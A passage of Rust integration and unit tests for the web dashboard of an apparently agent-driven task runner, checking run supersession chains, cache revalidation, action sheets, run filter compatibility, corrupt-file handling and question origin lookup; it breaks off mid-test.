26319        assert_eq!(earlier["superseded_by"], "dddd");
26320        assert_eq!(earlier["latest_attempt"]["id"], second);
26321        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
26322        assert_eq!(
26323            earlier["latest_attempt"]["resolved"], true,
26324            "the run that replaced it landed, so this one reads as settled"
26325        );
26326
26327        let later = fx.get(&format!("/api/runs/{second}")).await.json();
26328        assert!(
26329            later["superseded_by"].is_null(),
26330            "the latest attempt is not superseded by anything"
26331        );
26332        assert!(
26333            later["latest_attempt"].is_null(),
26334            "the latest attempt has no later attempt of its own"
26335        );
26336
26337        // Front end: the detail page has to read the field this route now
26338        // carries, downgrade the chip, and link to the run that replaced it —
26339        // not just repeat the list card's own logic under a different name.
26340        // The link is built off `latest_attempt.id`, the server-resolved
26341        // full id, never a bare short string a client would have to guess a
26342        // full run from.
26343        assert!(APP_JS.contains("run.latest_attempt"));
26344        assert!(APP_JS.contains("data-superseded"));
26345        assert!(APP_JS.contains("#/runs/${latest.id}"));
26346    }
26347
26348    #[tokio::test]
26349    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
26350        // A -> B -> C, all Blocked except the last. A's immediate successor
26351        // (superseded_by) is B, which is itself unresolved; what an operator
26352        // opening A's page actually needs is where the task's story stands
26353        // *now* - C, not B - without depending on whether C happens to be in
26354        // whatever page of /api/runs the client last cached.
26355        let fx = Fixture::start().await;
26356        let q = fx.queue();
26357        let runs = fx.runs();
26358        let (a, b, c) = (
26359            "20260901-000000-aaaa",
26360            "20260901-000000-bbbb",
26361            "20260901-000000-cccc",
26362        );
26363        write_run(&runs, a, RunStatus::Blocked);
26364        write_run(&runs, b, RunStatus::Blocked);
26365        write_run(&runs, c, RunStatus::Merged);
26366
26367        let mut t = Task::new(
26368            "retried twice".to_owned(),
26369            "do it".to_owned(),
26370            PathBuf::from("/repo"),
26371            Source::Human,
26372        );
26373        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
26374        q.put(&mut t).expect("put");
26375
26376        let view = fx.get(&format!("/api/runs/{a}")).await.json();
26377        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
26378        assert_eq!(
26379            view["latest_attempt"]["id"], c,
26380            "the chain's current head, not the intermediate Blocked retry"
26381        );
26382        assert_eq!(view["latest_attempt"]["resolved"], true);
26383
26384        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
26385        assert_eq!(mid["latest_attempt"]["id"], c);
26386        assert_eq!(mid["latest_attempt"]["resolved"], true);
26387    }
26388
26389    #[tokio::test]
26390    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
26391        let fx = Fixture::start().await;
26392        let q = fx.queue();
26393        let runs = fx.runs();
26394
26395        // Still Blocked: the task is not resolved, so the older run must not
26396        // read as settled either.
26397        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
26398        write_run(&runs, still_blocked_a, RunStatus::Blocked);
26399        write_run(&runs, still_blocked_b, RunStatus::Blocked);
26400        let mut t1 = Task::new(
26401            "still stuck".to_owned(),
26402            "do it".to_owned(),
26403            PathBuf::from("/repo"),
26404            Source::Human,
26405        );
26406        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
26407        q.put(&mut t1).expect("put");
26408        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
26409        assert_eq!(view1["latest_attempt"]["resolved"], false);
26410        assert_eq!(view1["latest_attempt"]["status"], "blocked");
26411        assert_eq!(view1["latest_attempt"]["done"], true);
26412
26413        // Still running: the successor exists and must be reported as such.
26414        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
26415        write_run(&runs, run_a, RunStatus::Blocked);
26416        write_run(&runs, run_b, RunStatus::Implementing);
26417        let mut t3 = Task::new(
26418            "retrying".to_owned(),
26419            "do it".to_owned(),
26420            PathBuf::from("/repo"),
26421            Source::Human,
26422        );
26423        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
26424        q.put(&mut t3).expect("put");
26425        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
26426        assert_eq!(view3["latest_attempt"]["id"], run_b);
26427        assert_eq!(view3["latest_attempt"]["resolved"], false);
26428        assert_eq!(view3["latest_attempt"]["done"], false);
26429
26430        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
26431        // to check - not a confirmed finish, so this must not read as
26432        // resolved either, even though the run is done in the sense that
26433        // nothing is still running.
26434        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
26435        write_run(&runs, noop_a, RunStatus::Blocked);
26436        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
26437        let mut t2 = Task::new(
26438            "claims done".to_owned(),
26439            "do it".to_owned(),
26440            PathBuf::from("/repo"),
26441            Source::Human,
26442        );
26443        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
26444        q.put(&mut t2).expect("put");
26445        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
26446        assert_eq!(
26447            view2["latest_attempt"]["resolved"], false,
26448            "an unverified no-op claim must not read as a confirmed finish"
26449        );
26450
26451        // Front end: an unresolved successor must not carry the "finished
26452        // this work" note or the muted chip treatment.
26453        assert!(APP_JS.contains("latest.resolved"));
26454        // ...but the link to it shows as soon as it exists, labelled by state
26455        // and without the "finished" wording or the muted chip.
26456        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
26457        assert!(APP_JS.contains("Latest attempt: "));
26458        assert!(APP_JS.contains("in flight"));
26459        assert!(APP_JS.contains("not resolved"));
26460    }
26461
26462    #[tokio::test]
26463    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
26464        let fx = Fixture::start().await;
26465        // No cache header at all meant browsers invented their own policy,
26466        // and one did: a phone went on showing "Candidates must be folded
26467        // before deleting. Run `magi fold` first." - deleted two releases
26468        // earlier - from a deck that no longer contained the sentence. The
26469        // button it named was right there, and unreachable.
26470        let js = fx.get("/app.js").await;
26471        assert_eq!(js.status, 200);
26472        let tag = js
26473            .header("etag")
26474            .expect("an etag to revalidate against")
26475            .to_owned();
26476        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
26477        assert_eq!(
26478            js.header("cache-control"),
26479            Some("no-cache, must-revalidate"),
26480            "the phone has to ask every time"
26481        );
26482
26483        // And the asking has to be cheap, or `must-revalidate` just means
26484        // "send the whole interface on every load".
26485        let again = fx
26486            .get_with("/app.js", &[("if-none-match", tag.as_str())])
26487            .await;
26488        assert_eq!(
26489            again.status, 304,
26490            "a deck it already has costs one round trip"
26491        );
26492        assert!(again.body.is_empty(), "304 carries no body");
26493
26494        // A weakened tag from a proxy still matches; a different build does
26495        // not, which is the case that has to deliver the new interface.
26496        let weak = fx
26497            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
26498            .await;
26499        assert_eq!(weak.status, 304);
26500        let stale = fx
26501            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
26502            .await;
26503        assert_eq!(stale.status, 200, "an older build must be replaced");
26504        assert!(stale.body.contains("renderRunActions"));
26505    }
26506
26507    #[test]
26508    fn the_task_detail_has_an_actions_fab_and_sheet() {
26509        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
26510        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
26511        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
26512        // Shown only on the task route, closed everywhere else.
26513        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
26514        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
26515        // Refreshed whenever the detail redraws, including the loading state.
26516        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
26517        assert!(APP_JS.contains("renderTaskActions(null);"));
26518        // Same action renderers as the Queue card. Bound this check by the
26519        // next function, since additional task controls can grow the sheet.
26520        let (_, sheet) = APP_JS
26521            .split_once("function renderTaskActions(task) {")
26522            .expect("sheet renderer");
26523        let (body, _) = sheet
26524            .split_once("\nfunction openTaskActions() {")
26525            .expect("end of sheet renderer");
26526        assert!(body.contains("changePriority("));
26527        assert!(body.contains("openTaskEdit(task)"));
26528        assert!(body.contains("renderTaskHoldBox(host"));
26529        assert!(body.contains("renderTaskDoneBox(host"));
26530        assert!(body.contains("renderTaskDeleteBox(host"));
26531        assert!(APP_JS.contains("API.priority(id)"));
26532        assert!(APP_JS.contains("API.deleteTask(id)"));
26533        // A deleted task sends the operator back to the queue.
26534        assert!(APP_JS.contains("location.hash = \"#/queue\""));
26535        // A refusal is shown inside the sheet.
26536        assert!(APP_JS.contains("$(\"task-actions-error\")"));
26537    }
26538
26539    #[test]
26540    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
26541        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
26542        let actions = INDEX_HTML
26543            .find("id=\"run-actions-box\"")
26544            .expect("actions box");
26545        assert!(task < actions, "the task entry comes first in the sheet");
26546        assert!(APP_JS.contains("renderRunTaskEntry"));
26547        assert!(APP_JS.contains("\"Open task \""));
26548        // A run without a task says why there is nothing to open.
26549        assert!(APP_JS.contains("started directly, no task"));
26550        assert!(APP_JS.contains("sheet-task-link"));
26551        assert!(APP_JS.contains("task-chip-link"));
26552    }
26553
26554    #[test]
26555    fn the_deck_never_sends_the_operator_to_a_terminal() {
26556        // The whole point of the phone UI is that a terminal is not needed.
26557        // The delete control used to answer with "Run `magi fold` first."
26558        assert!(
26559            !APP_JS.contains("Run `magi fold` first"),
26560            "the deck must offer the fold, not prescribe a shell command"
26561        );
26562        assert!(APP_JS.contains("foldRun:"));
26563        assert!(APP_JS.contains("resumeRun:"));
26564        assert!(APP_JS.contains("renderRunActions"));
26565
26566        // Folding is destructive and armed in two steps, like deleting.
26567        assert!(APP_JS.contains("armedFold"));
26568        assert!(APP_JS.contains("Yes, fold worktrees"));
26569
26570        // And the copy has to say that the two actions are opposites, because
26571        // folding throws away exactly what a resume would continue from.
26572        assert!(APP_JS.contains("can no longer be resumed"));
26573    }
26574
26575    #[test]
26576    fn a_finished_run_explains_itself_with_its_own_last_line() {
26577        // The deck used to answer "why did this stop?" with a sentence chosen
26578        // by status alone. Run e633 stalled because two judges answered with
26579        // the wrong JSON shape and its card said "The panel collapsed on
26580        // agent quota" - with `quota: []` in the record and a quota-loss
26581        // counter right above it that correctly said nothing.
26582        assert!(
26583            !APP_JS.contains("collapsed on agent quota"),
26584            "a stall must not be explained by a cause the deck did not check"
26585        );
26586        assert!(
26587            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
26588            "and a block must not offer a guess with an `or` in it"
26589        );
26590
26591        // The reason it does have is `run.event`, which must reach finished
26592        // runs: gating it on movement hid the recorded truth at the one moment
26593        // the operator is reading the card to find out what happened.
26594        assert!(
26595            APP_JS.contains("setText(r.event, run.event || \"\")"),
26596            "the run's last line is rendered unconditionally"
26597        );
26598        assert!(
26599            !APP_JS.contains("moving && run.event"),
26600            "and never gated on the run still moving"
26601        );
26602
26603        // Quota keeps its own counter, fed by the number actually recorded.
26604        assert!(APP_JS.contains("lost to quota"));
26605    }
26606
26607    /// The runs tree (section) and the state chips (waiting/done) are two
26608    /// independent lenses ANDed together in `renderRuns`, and some pairings
26609    /// can never both be true for any run - every "Landed"/"Ended" run is
26610    /// done by construction, so pairing either with "Active" or "In flight"
26611    /// always rendered zero cards with the filter bar still claiming
26612    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
26613    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
26614    /// a handful of (waiting, status) shapes standing in for the run
26615    /// lifecycle, because `cargo test` cannot execute the front end.
26616    ///
26617    /// That stand-in list is itself the part that drifted twice in review:
26618    /// once shipped with `waiting: true` paired with a done status the
26619    /// lifecycle cannot produce, then over-corrected into treating every
26620    /// waiting run as never done - which made "Waiting on you" look
26621    /// incompatible with "Done" even for the one real, reachable shape
26622    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
26623    /// that combination. This test parses the shapes and the done-rule back
26624    /// out of `APP_JS`, reimplements `runSection` and the five state
26625    /// predicates independently in Rust, and checks the resulting
26626    /// section/filter compatibility table against the lifecycle rules by
26627    /// hand - so either direction of drift fails it again.
26628    #[test]
26629    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
26630        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
26631        let shapes_body_start =
26632            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
26633        let shapes_close = APP_JS[shapes_body_start..]
26634            .find("].map(")
26635            .expect("the shape list is closed by its done-computing .map(...)")
26636            + shapes_body_start;
26637        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
26638
26639        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
26640        for entry in shapes_src.split('{').skip(1) {
26641            let waiting = entry.contains("waiting: true");
26642            let dead = entry.contains("live: \"dead\"");
26643            let status_at =
26644                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
26645            let status_end = entry[status_at..]
26646                .find('"')
26647                .expect("the status string is closed")
26648                + status_at;
26649            let parked = entry.contains("display_status: \"parked\"");
26650            shapes.push((
26651                waiting,
26652                entry[status_at..status_end].to_string(),
26653                dead,
26654                parked,
26655            ));
26656        }
26657        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
26658
26659        // The done rule itself (`!["implementing"].includes(shape.status)`),
26660        // read out of the source rather than hardcoded, so a renamed
26661        // in-flight status can't silently make every parsed shape "done".
26662        let done_rule_marker = "done: !";
26663        let done_rule_at = APP_JS[shapes_close..]
26664            .find(done_rule_marker)
26665            .expect("the done rule follows the shape list")
26666            + shapes_close
26667            + done_rule_marker.len();
26668        let includes_at = APP_JS[done_rule_at..]
26669            .find(".includes(shape.status)")
26670            .expect("the done rule ends in .includes(shape.status)")
26671            + done_rule_at;
26672        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
26673            .trim()
26674            .trim_start_matches('[')
26675            .trim_end_matches(']')
26676            .split(',')
26677            .map(|s| s.trim().trim_matches('"'))
26678            .filter(|s| !s.is_empty())
26679            .collect();
26680
26681        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
26682            .into_iter()
26683            .map(|(waiting, status, dead, parked)| {
26684                let done = !not_done.contains(&status.as_str());
26685                (waiting, status, dead, parked, done)
26686            })
26687            .collect();
26688
26689        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
26690        // outright, then merged/ready land, stalled/blocked/failed/
26691        // verified_noop end, and everything else is still in flight.
26692        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
26693            if waiting {
26694                return "waiting";
26695            }
26696            if dead
26697                && !parked
26698                && !matches!(
26699                    status,
26700                    "merged"
26701                        | "ready"
26702                        | "stalled"
26703                        | "blocked"
26704                        | "failed"
26705                        | "verified_noop"
26706                        | "superseded"
26707                        | "already_in_base"
26708                )
26709            {
26710                return "stale";
26711            }
26712            match status {
26713                "merged" | "ready" => "landed",
26714                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
26715                | "already_in_base" => "ended",
26716                _ => "flight",
26717            }
26718        }
26719
26720        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
26721        // way.
26722        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
26723            match filter_key {
26724                "active" => !done,
26725                "flight" => !done && !waiting && !dead,
26726                "stale" => !done && !waiting && dead,
26727                "waiting" => waiting,
26728                "done" => done,
26729                "all" => true,
26730                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
26731            }
26732        }
26733
26734        let compatible = |section: &str, filter_key: &str| {
26735            shapes.iter().any(|(waiting, status, dead, parked, done)| {
26736                run_section(*waiting, status, *dead, *parked) == section
26737                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
26738            })
26739        };
26740
26741        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
26742        // (active, flight, stale, waiting, done, all) - hand-derived from the
26743        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
26744        // currently contains.
26745        let expected = [
26746            ("waiting", [true, false, false, true, true, true]),
26747            ("stale", [true, false, true, false, false, true]),
26748            ("flight", [true, true, false, false, false, true]),
26749            ("landed", [false, false, false, false, true, true]),
26750            ("ended", [false, false, false, false, true, true]),
26751        ];
26752        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
26753
26754        for (section, wants) in expected {
26755            for (filter_key, want) in filter_keys.iter().zip(wants) {
26756                assert_eq!(
26757                    compatible(section, filter_key),
26758                    want,
26759                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
26760                );
26761            }
26762        }
26763
26764        // The compatibility check exists only to be acted on: both pickers
26765        // must actually consult it rather than just render its answer.
26766        assert!(
26767            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
26768        );
26769        assert!(APP_JS.contains(
26770            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
26771        ));
26772        assert!(APP_JS.contains(
26773            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
26774        ));
26775    }
26776
26777    #[tokio::test]
26778    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
26779        // An operator-named directory - git checkout or not - is never
26780        // second-guessed, even when it does not exist at all: only the
26781        // flag's own unmodified `.` default is ever eligible for discovery.
26782        let dir = tempfile::tempdir().expect("tempdir");
26783        let explicit = dir.path().join("not-a-checkout");
26784        std::fs::create_dir_all(&explicit).expect("create dir");
26785        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
26786
26787        let missing = dir.path().join("does-not-exist-at-all");
26788        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
26789    }
26790
26791    #[test]
26792    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
26793        assert!(APP_JS.contains("function statsDonutArcs"));
26794        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
26795        // A bucket click filters by the statuses src/stats.rs counts in it.
26796        assert!(APP_JS.contains("function statusInBucket"));
26797        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
26798        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
26799        let buckets = [
26800            "merged",
26801            "ready",
26802            "in_progress",
26803            "blocked",
26804            "failed",
26805            "verified_noop",
26806            "superseded",
26807            "stalled",
26808        ];
26809        for key in buckets {
26810            let var = format!("--verdict-{key}:");
26811            // Light, OS-dark and pinned-dark blocks each define it.
26812            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
26813            assert!(
26814                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
26815                "{key}"
26816            );
26817        }
26818    }
26819
26820    #[tokio::test]
26821    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
26822        let dir = tempfile::tempdir().expect("tempdir");
26823        let queue = Queue::at(dir.path().join("queue"));
26824        let talks = Talks::at(dir.path().join("talks"));
26825        std::fs::create_dir_all(queue.root()).unwrap();
26826        std::fs::create_dir_all(talks.root()).unwrap();
26827
26828        // Put a corrupt json file in both stores
26829        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
26830        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
26831
26832        // Valid task and talk
26833        let mut task = Task::new(
26834            "title".into(),
26835            "inst".into(),
26836            PathBuf::from("/repo"),
26837            Source::Human,
26838        );
26839        task.id = "20261019-123456-abcd".into();
26840        // Write manually so it's a valid file
26841        std::fs::write(
26842            queue.path_of(&task.id),
26843            serde_json::to_string(&task).unwrap(),
26844        )
26845        .unwrap();
26846
26847        let talk_id = "20261019-234567-cdef";
26848        seed_talk_at(&talks, talk_id, "open");
26849
26850        // Exact match should succeed without failing on the corrupt json file
26851        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
26852        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
26853
26854        // Prefix match should also succeed by scanning file names without deserializing corrupt file
26855        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
26856        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
26857    }
26858
26859    #[tokio::test]
26860    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
26861        let home = tempfile::tempdir().unwrap();
26862        let ui = delta_test_ui(home.path());
26863        // A full history traversal would fail even with no questions.
26864        std::fs::write(ui.queue.root(), "not a directory").unwrap();
26865        std::fs::write(ui.talks.root(), "not a directory").unwrap();
26866        assert!(
26867            questions_list(State(ui.clone()))
26868                .await
26869                .unwrap()
26870                .0
26871                .is_empty()
26872        );
26873        assert!(
26874            question_origins(State(ui.clone()))
26875                .await
26876                .unwrap()
26877                .0
26878                .is_empty()
26879        );
26880        let mut question = Question::new(
26881            "run-history".into(),
26882            "review".into(),
26883            "seat".into(),
26884            "Useful question".into(),
26885            "Useful detail".into(),
26886            vec![],
26887        );
26888        ui.questions.put(&mut question).unwrap();
26889        let core = questions_core(State(ui.clone())).await.unwrap().0;
26890        assert_eq!(core.len(), 1);
26891        assert_eq!(core[0].question.summary, "Useful question");
26892        assert!(!core[0].can_consult_chat);
26893        assert!(core[0].origin_chat.is_none());
26894        assert_eq!(core[0].record_revision, question_record_revision(&question));
26895        assert!(question_origins(State(ui.clone())).await.is_err());
26896        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26897    }
26898
26899    #[tokio::test]
26900    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
26901        let home = tempfile::tempdir().unwrap();
26902        let ui = delta_test_ui(home.path());
26903        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
26904        let mut parent = Task::new(
26905            "parent".into(),
26906            "body".into(),
26907            PathBuf::from("/repo"),
26908            Source::Agent {
26909                run: chat.clone(),
26910                node: crate::queue::CHAT_NODE.into(),
26911            },
26912        );
26913        parent.id = "parent-task".into();
26914        parent.runs = vec!["parent-run".into()];
26915        ui.queue.put(&mut parent).unwrap();
26916        let mut previous = parent;
26917        for generation in 1..=2 {
26918            let mut child = Task::new(
26919                "child".into(),
26920                "body".into(),
26921                PathBuf::from("/repo"),
26922                Source::Human,
26923            );
26924            child.id = format!("child-task-{generation}");
26925            child.runs = vec![format!("child-run-{generation}")];
26926            child.followup = Some(crate::queue::FollowUp {
26927                origin_task: Some(previous.id.clone()),
26928                run: previous.runs[0].clone(),
26929                pr: String::new(),
26930                findings: vec![],
26931                generation,
26932            });
26933            ui.queue.put(&mut child).unwrap();
26934            previous = child;
26935        }
26936        // A run may have the same spelling as another task's id; its owner
26937        // must not override a typed task reference.
26938        let mut collision = Task::new(
26939            "collision".into(),
26940            String::new(),
26941            PathBuf::from("/repo"),
26942            Source::Human,
26943        );
26944        collision.id = "collision-task".into();
26945        collision.runs = vec![previous.id.clone()];
26946        ui.queue.put(&mut collision).unwrap();
26947        let mut questions = Vec::new();
26948        for (node, reference, expected, eligible) in [
26949            (crate::triage::NODE, previous.id.as_str(), true, false),
26950            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
26951            ("review", previous.runs[0].as_str(), true, true),
26952            (
26953                crate::bump::NOTICE_NODE,
26954                previous.runs[0].as_str(),
26955                true,
26956                false,
26957            ),
26958            // Identical text in the wrong reference namespace is not evidence.
26959            ("review", previous.id.as_str(), false, false),
26960            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
26961            ("review", "unrelated", false, false),
26962        ] {
26963            let mut q = Question::new(
26964                reference.into(),
26965                node.into(),
26966                "seat".into(),
26967                "Question".into(),
26968                String::new(),
26969                vec![],
26970            );
26971            ui.questions.put(&mut q).unwrap();
26972            questions.push((q, expected, eligible));
26973        }
26974        for (node, reference, associated, eligible) in [
26975            (crate::reconcile::NODE, previous.id.as_str(), true, false),
26976            (
26977                crate::reconcile::NODE,
26978                previous.runs[0].as_str(),
26979                false,
26980                true,
26981            ),
26982            ("implement", previous.id.as_str(), false, false),
26983        ] {
26984            let mut q = Question::new(
26985                reference.into(),
26986                node.into(),
26987                crate::reconcile::SEAT.into(),
26988                "Reconcile".into(),
26989                String::new(),
26990                vec![],
26991            );
26992            ui.questions.put(&mut q).unwrap();
26993            questions.push((q, associated, eligible));
26994        }
26995        let mut release = Question::new(
26996            "release-record".into(),
26997            crate::bump::NOTICE_NODE.into(),
26998            "release-watch".into(),
26999            "Release".into(),
27000            String::new(),
27001            vec![],
27002        );
27003        ui.questions.put(&mut release).unwrap();
27004        let watch = crate::release_watch::WatchState {
27005            question: Some(release.id.clone()),
27006            run: Some(previous.runs[0].clone()),
27007            held_task: Some(previous.id.clone()),
27008            ..Default::default()
27009        };
27010        let watch_dir = home.path().join("release-watch");
27011        std::fs::create_dir_all(&watch_dir).unwrap();
27012        let watch_path = watch_dir.join("watch.json");
27013        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
27014        // Ordinary questions and bump notices do not need watch-store I/O.
27015        for batch in [
27016            Vec::new(),
27017            questions.iter().map(|(q, _, _)| q.clone()).collect(),
27018        ] {
27019            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
27020            assert!(watches.is_empty());
27021        }
27022        questions.push((release.clone(), true, false));
27023
27024        let views = questions_list(State(ui.clone())).await.unwrap().0;
27025        let origins = question_origins(State(ui.clone())).await.unwrap().0;
27026        for (q, associated, eligible) in &questions {
27027            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
27028            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
27029            let expected = associated.then_some(chat.as_str());
27030            assert_eq!(
27031                view.origin_chat.as_deref(),
27032                expected,
27033                "{} {}",
27034                q.node,
27035                q.run
27036            );
27037            assert_eq!(origin.origin_chat.as_deref(), expected);
27038            assert_eq!(view.origin_chat_closed, *associated);
27039            assert_eq!(origin.origin_chat_closed, *associated);
27040            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
27041            assert_eq!(origin.can_consult_chat, *eligible);
27042        }
27043        // Either saved link independently recovers a release question's owner.
27044        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
27045            let link = crate::release_watch::WatchState {
27046                run,
27047                held_task,
27048                ..watch.clone()
27049            };
27050            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
27051            let (tasks, talks, watches) =
27052                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27053            assert_eq!(
27054                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27055                    .unwrap()
27056                    .id,
27057                chat,
27058            );
27059            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
27060        }
27061        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
27062        // Even identical duplicate records are ambiguous: ignore their links.
27063        let duplicate_path = watch_dir.join("duplicate.json");
27064        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
27065        let (tasks, talks, watches) =
27066            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27067        assert!(
27068            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27069                .is_none()
27070        );
27071        std::fs::remove_file(duplicate_path).unwrap();
27072        // Another explicit owner is a conflict even if it has no chat.
27073        let mut unrelated = Task::new(
27074            "other".into(),
27075            String::new(),
27076            PathBuf::from("/repo"),
27077            Source::Human,
27078        );
27079        unrelated.id = "unrelated-task".into();
27080        ui.queue.put(&mut unrelated).unwrap();
27081        let mut conflicting = watch.clone();
27082        conflicting.held_task = Some(unrelated.id);
27083        std::fs::write(
27084            watch_dir.join("conflict.json"),
27085            serde_json::to_vec(&conflicting).unwrap(),
27086        )
27087        .unwrap();
27088        let (tasks, talks, watches) =
27089            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27090        assert!(
27091            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27092                .is_none()
27093        );
27094        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
27095        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
27096        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
27097            assert!(origin.origin_chat.is_none());
27098            assert!(!origin.origin_chat_closed);
27099        }
27100    }
27101
27102    #[test]
27103    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
27104        let home = tempfile::tempdir().unwrap();
27105        let ui = delta_test_ui(home.path());
27106        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
27107        for i in 0..1000 {
27108            let mut task = Task::new(
27109                "unrelated".into(),
27110                "instruction ".repeat(256),
27111                PathBuf::from("/repo"),
27112                Source::Human,
27113            );
27114            task.id = format!("history-{i:04}");
27115            ui.queue.put(&mut task).unwrap();
27116            let id = seed_talk_at(&ui.talks, &task.id, "open");
27117            let mut talk = ui.talks.get(&id).unwrap();
27118            talk.pending = "history ".repeat(256);
27119            ui.talks.put(&mut talk).unwrap();
27120        }
27121        let mut parent = Task::new(
27122            "parent".into(),
27123            "body".into(),
27124            PathBuf::from("/repo"),
27125            Source::Agent {
27126                run: chat_id.clone(),
27127                node: crate::queue::CHAT_NODE.into(),
27128            },
27129        );
27130        parent.id = "task-parent".into();
27131        parent.runs = vec!["run-parent".into()];
27132        ui.queue.put(&mut parent).unwrap();
27133        let mut child = Task::new(
27134            "child".into(),
27135            "body".into(),
27136            PathBuf::from("/repo"),
27137            Source::Human,
27138        );
27139        child.id = "task-child".into();
27140        child.runs = vec!["run-child".into()];
27141        child.followup = Some(crate::queue::FollowUp {
27142            run: "run-parent".into(),
27143            origin_task: Some(parent.id.clone()),
27144            pr: "https://example.invalid/pr/1".into(),
27145            findings: vec![],
27146            generation: 1,
27147        });
27148        ui.queue.put(&mut child).unwrap();
27149        let mut question = Question::new(
